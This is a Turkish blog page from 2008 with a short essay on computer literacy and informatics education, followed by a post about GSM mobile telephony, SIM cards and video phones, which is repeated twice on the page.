Bilgisayar bilişimin temel dayanağı olduğunu söylemiştik. Bilgisayarlar elektriksel sinyalleri bazı yöntemler ile bizim anlayacağımız şekillere çeviren makinelerdir. Bilgisayarlar bilgileri bizim anlamadığımız şekiller ve görüntüler ile içlerindeki sabit disk ortamında saklarlar. İhtiyacımız olduğunda bizim anlayacağımız şekilde vereceğimiz komutları alarak kendi anlayacağı komutlara çevirirler ve istediğimiz bilgileri bulduktan sonra bizim anlayacağımı şekilde ekran denen dış çevre birimine gönderirler. Bilgileri kasalarının içerisinde bulunan sabit ve geçici bellek denen yerlerde bulundururlar. İşlemci ise bilgisayarın bizim anladığımız komutları bilgisayarın anlayacağı komutlara çeviren birimidir. İşlemci tek başına çalışamaz mutlaka bir bilgisayar kasası içerisinde uygun bir bilgisayar kartına bağlı olması gerekir.
Bilişim bilgisayar ve bilgilerin insan çevresinde insana yararlı olarak kullanılması gerekir. Bilgisayar ile oyun oynayanların bilişim ve bilişim okut yazarlığı ile ilgisi yoktur. Türkiye de her bireyin mutlaka bilgisayar okur yazarı olması gerekir. Bilişim ise bu bilgisayar okur yazarlığından sonra gereken akıl ve bilgisayarın birlikte kullanımı ile gerçekleşir. Her toplumda olduğu gibi bizim toplumumuzda bazı eksiklikler de olabilir. Bilişim toplumu olmak için biz bu eksiklikleri gidermeliyiz. İlk olarak ilköğretimden bu işe başlamalıyız.
Bilişim akıl ve bilgisayar olmadan olmayan bir kavramdır. Bilgisayar hayatımızın her alanına girerken bu alanları nasıl kullanacağımızı öğrenmemek bizi kolay yaşamdan ve toplumdan uzaklaştırabilir. Bilgisayar bilmek bilgisayar oyunlarını çok iyi oynamak değildir. Bilişim toplumu bilgisayar oyunlarını çok iyi oynamak ile sağlanmaz. Bunu sağlamak için bilgisayar programlama ve günlük hayatımızın içerisine bilgisayar kullanmayı katmamız gerekir. Bilgisayar öğrenmenin yaşı yoktur. Eskilerin söylediği öğrenmenin yaşı yoktur sözü bilgisayar öğrenmenin yaşı yoktur şeklinde değişmelidir. Çünkü bilgisayar kullanmayı bilmeyen bir kişi bir süre sonra vergisini ödeyemez, bankadan parasını çekemez veya günlük hayatını devam ettirirken zorlanan kişi haline gelecektir.
3
Bilgisayar yazılımları için bilgisayar programlama araçlarına (visual basic- delphi v.s.) ihtiyaç duyulur. Bu araçlar bilgisayarımızda bizim yaptırmak istediğimiz özel işleri programlamak için gereklidir. Bu araçlar kullanmak için bilgisayar donanımları hakkında bilgilere ihtiyaç vardır. Yazı yazmak için ofis programlarına ihtiyaç duyulur. Ofis programları bizim defterimiz gibi yazıları yazarak saklamamıza ve daha sonradan tekrar çağırarak okumamızı sağlar. Ofis programlarında mektup yazmak, ödev hazırlamak, hesap tabloları kullanarak aylık harcama listelerini oluşturmak gibi birçok işi yapabiliriz. Bilişim bize tüm bu anlatılanları sağlar ve hayatımızı kolaylaştırır.
Öğr. Gör. İrfan MACİT
Çukurova Üniversitesi
Endüstri Mühendisliği Bölümü
01330 Balcalı ADANA
4
6 Ocak 2008 Pazar
telefon
Yirmi birinci yüzyıla yaklaştığımız şu günlerde, teknoloji gelişmişlik-iletişim ve bilgi birbirlerinden ayrılmaz parçalar oldu. Bugün iletişim çağın gerisinde değil, hep bir adım önünde gitmektedir. Hücresel mobil servisleri; ????? başlarından bu yana, hareket halindeki insanların haberleşme ihtiyaçlarını gidermeye çalışmıştır. Geçen 10 yıllık sürede hücresel telefonlar, otomobillerden başlayarak, diğer tip taşıtlarda da kullanılabilecek şekilde gelişmiş ve sonunda da taşınabilir (cep telefonu) bir özelliğe kavuşmuştur.
Haberleşme alanında her geçen gün daha da artan gereksinimler, alabildiğince çok haberleşme servisini içine aldı ve kitlelerin bulundukları coğrafi dağılım bölgelerinden bağımsız olarak bu servislere ulaşmalarını sağlayacak merkezi bir hücresel mobil haberleşme şebekesinin kullanılmasına ortam hazırlamış ve bunun sonucunda da GSM (İng: Global System for Mobile Communication) doğmuştur.
Bugüne kadar hücresel bir mobil haberleşme şebekesi kurulurken veya sığası arttırılırken, analog şebekelerin kullanılmasından dolayı frekans ve hücre planlamalarında birçok güçlükler çıkıyordu. GSM frekans problemlerini, hücre ve kanal planlamalarındaki zorlukları ortadan kaldırmaktadır.
Mobil telefon kullanımını en üst düzeye ulaştıran GSM, sayısız üstünlük ve olanakları bir arada sunmaktadır. Bu yeni sistemle ağırlığı 200-250 grama kadar düşen cep telefonları ile net bir şekilde sadece Türkiye sınırları içinde değil, bütün Avrupa'da rahatça ve ses yitimi olmadan konuşma yapılabilmektedir. GSM sistemi, her türlü ilerlemeye açık olarak geliştirilmiştir. Uygulanmak istenen her türlü yenilikler (kısa mesaj, faks, telfoto... vs.) çok basit, hızlı programlama tekniğiyle cep telefonuna aktarılabilecek. GSM teknolojisi, düşük güç çıkışlı cihazların kullanımını sağladığı için cep telefonları ile uzun süre konuşma yapmak olası olabilecektir.
Bir GSM abonesi, yerleşik analog hücresel şebekelerden farklı olarak kendi terminallerini bütün Avrupa devletlerinde kullanabilecektir. Aynı zamanda GSM şebekesi, abonelerin devamlı değişen ortamlarının kaydını tutarak, gelen çağrı mesajlarını otomatik olarak coğrafi bölgelere aktarabilecektir ve yönlendirebilecektir. Sistem abone numaraları SIM (Subscriber Identity Module) adlı kredi kartı ebadında, kişinin cüzdanında taşıyabileceği büyüklükteki kartlara programlanıyor. Ayrıca Plug-in olarak adlandırılan daha küçük boyutlarda bir kart daha kullanılmaktadır. Bununla birlikte her abonenin kendisi için özel tanımlanmış özel kimlik numarası olan PIN (Personal Identity Number)ı girmesi koşuluyla mobil telefonlardan konuşma yapılabilinmektedir. Bu sistemle hiç kimse bir başkasının SIM kartını kullanamamaktadır.
Kullanılacak Smart Card teknolojisiyle aboneye ait bütün bilgiler, bu abone kartına toplandığından, yurtdışına çıkan bir abone, artık yanında telefon aygıtı (cep telefonu) taşımak zorunda kalmayacaktır. Her yerde, kendi adına kayıtlı SIM kartı ile bir el (cep) telefonu kiralayıp istediği görüşmeyi yapabilecektir.
Türkiye'de de GSM'nin alt yapı çalışmaları olanca hızıyla devam etmektedir. GSM projesi ilk beş yıl içinde Türkiye'nin bütün illerinde sistem ağını kuracaktır.
Bu sistem, otomobilimizde faks çekme, telekonferans düzenleme, çağrı gönderme, borsayı takip edebilme, nerede olursa olsun sağlıklı ve parazitsiz telefon edebilme, veri gönderebilme, ... vs. birçok kolaylıkları olacaktır.
Sonuç olarak haberleşme alanında GSM sistemi, serbest bilgi dolaşımını sağlayacaktır.
Bu gelişmeyle birlikte görüntülü telefon, konuşma ve görüntüyü aynı anda aktaran sistem de artık yaygınlaşma aşamasındadır. Görüntülü telefon 1964 yılında ilk önce ABD'de yapılmaya başlamıştır. Buna rağmen görüntülü telefon sistemi hala gerekli pazara ulaşamamıştır.
Türkiye'de de görüntülü telefon çalışmaları ciddi bir şekilde 1994 yılında başlamıştır. 2000'li yıllarda ise artık 'Görüntülü Cep Telefonları' yılları olacaktır. Telefon, teknolojinin insanlığa sunduğu en yararlı araçlardan birisidir.
Haberleşme alanında her geçen gün daha da artan gereksinimler, alabildiğince çok haberleşme servisini içine aldı ve kitlelerin bulundukları coğrafi dağılım bölgelerinden bağımsız olarak bu servislere ulaşmalarını sağlayacak merkezi bir hücresel mobil haberleşme şebekesinin kullanılmasına ortam hazırlamış ve bunun sonucunda da GSM (İng: Global System for Mobile Communication) doğmuştur.
Bugüne kadar hücresel bir mobil haberleşme şebekesi kurulurken veya sığası arttırılırken, analog şebekelerin kullanılmasından dolayı frekans ve hücre planlamalarında birçok güçlükler çıkıyordu. GSM frekans problemlerini, hücre ve kanal planlamalarındaki zorlukları ortadan kaldırmaktadır.
Mobil telefon kullanımını en üst düzeye ulaştıran GSM, sayısız üstünlük ve olanakları bir arada sunmaktadır. Bu yeni sistemle ağırlığı 200-250 grama kadar düşen cep telefonları ile net bir şekilde sadece Türkiye sınırları içinde değil, bütün Avrupa'da rahatça ve ses yitimi olmadan konuşma yapılabilmektedir. GSM sistemi, her türlü ilerlemeye açık olarak geliştirilmiştir. Uygulanmak istenen her türlü yenilikler (kısa mesaj, faks, telfoto... vs.) çok basit, hızlı programlama tekniğiyle cep telefonuna aktarılabilecek. GSM teknolojisi, düşük güç çıkışlı cihazların kullanımını sağladığı için cep telefonları ile uzun süre konuşma yapmak olası olabilecektir.
Bir GSM abonesi, yerleşik analog hücresel şebekelerden farklı olarak kendi terminallerini bütün Avrupa devletlerinde kullanabilecektir. Aynı zamanda GSM şebekesi, abonelerin devamlı değişen ortamlarının kaydını tutarak, gelen çağrı mesajlarını otomatik olarak coğrafi bölgelere aktarabilecektir ve yönlendirebilecektir. Sistem abone numaraları SIM (Subscriber Identity Module) adlı kredi kartı ebadında, kişinin cüzdanında taşıyabileceği büyüklükteki kartlara programlanıyor. Ayrıca Plug-in olarak adlandırılan daha küçük boyutlarda bir kart daha kullanılmaktadır. Bununla birlikte her abonenin kendisi için özel tanımlanmış özel kimlik numarası olan PIN (Personal Identity Number)ı girmesi koşuluyla mobil telefonlardan konuşma yapılabilinmektedir. Bu sistemle hiç kimse bir başkasının SIM kartını kullanamamaktadır.
Kullanılacak Smart Card teknolojisiyle aboneye ait bütün bilgiler, bu abone kartına toplandığından, yurtdışına çıkan bir abone, artık yanında telefon aygıtı (cep telefonu) taşımak zorunda kalmayacaktır. Her yerde, kendi adına kayıtlı SIM kartı ile bir el (cep) telefonu kiralayıp istediği görüşmeyi yapabilecektir.
Türkiye'de de GSM'nin alt yapı çalışmaları olanca hızıyla devam etmektedir. GSM projesi ilk beş yıl içinde Türkiye'nin bütün illerinde sistem ağını kuracaktır.
Bu sistem, otomobilimizde faks çekme, telekonferans düzenleme, çağrı gönderme, borsayı takip edebilme, nerede olursa olsun sağlıklı ve parazitsiz telefon edebilme, veri gönderebilme, ... vs. birçok kolaylıkları olacaktır.
Sonuç olarak haberleşme alanında GSM sistemi, serbest bilgi dolaşımını sağlayacaktır.
Bu gelişmeyle birlikte görüntülü telefon, konuşma ve görüntüyü aynı anda aktaran sistem de artık yaygınlaşma aşamasındadır. Görüntülü telefon 1964 yılında ilk önce ABD'de yapılmaya başlamıştır. Buna rağmen görüntülü telefon sistemi hala gerekli pazara ulaşamamıştır.
Türkiye'de de görüntülü telefon çalışmaları ciddi bir şekilde 1994 yılında başlamıştır. 2000'li yıllarda ise artık 'Görüntülü Cep Telefonları' yılları olacaktır. Telefon, teknolojinin insanlığa sunduğu en yararlı araçlardan birisidir.
Kaydol:
Kayıtlar (Atom)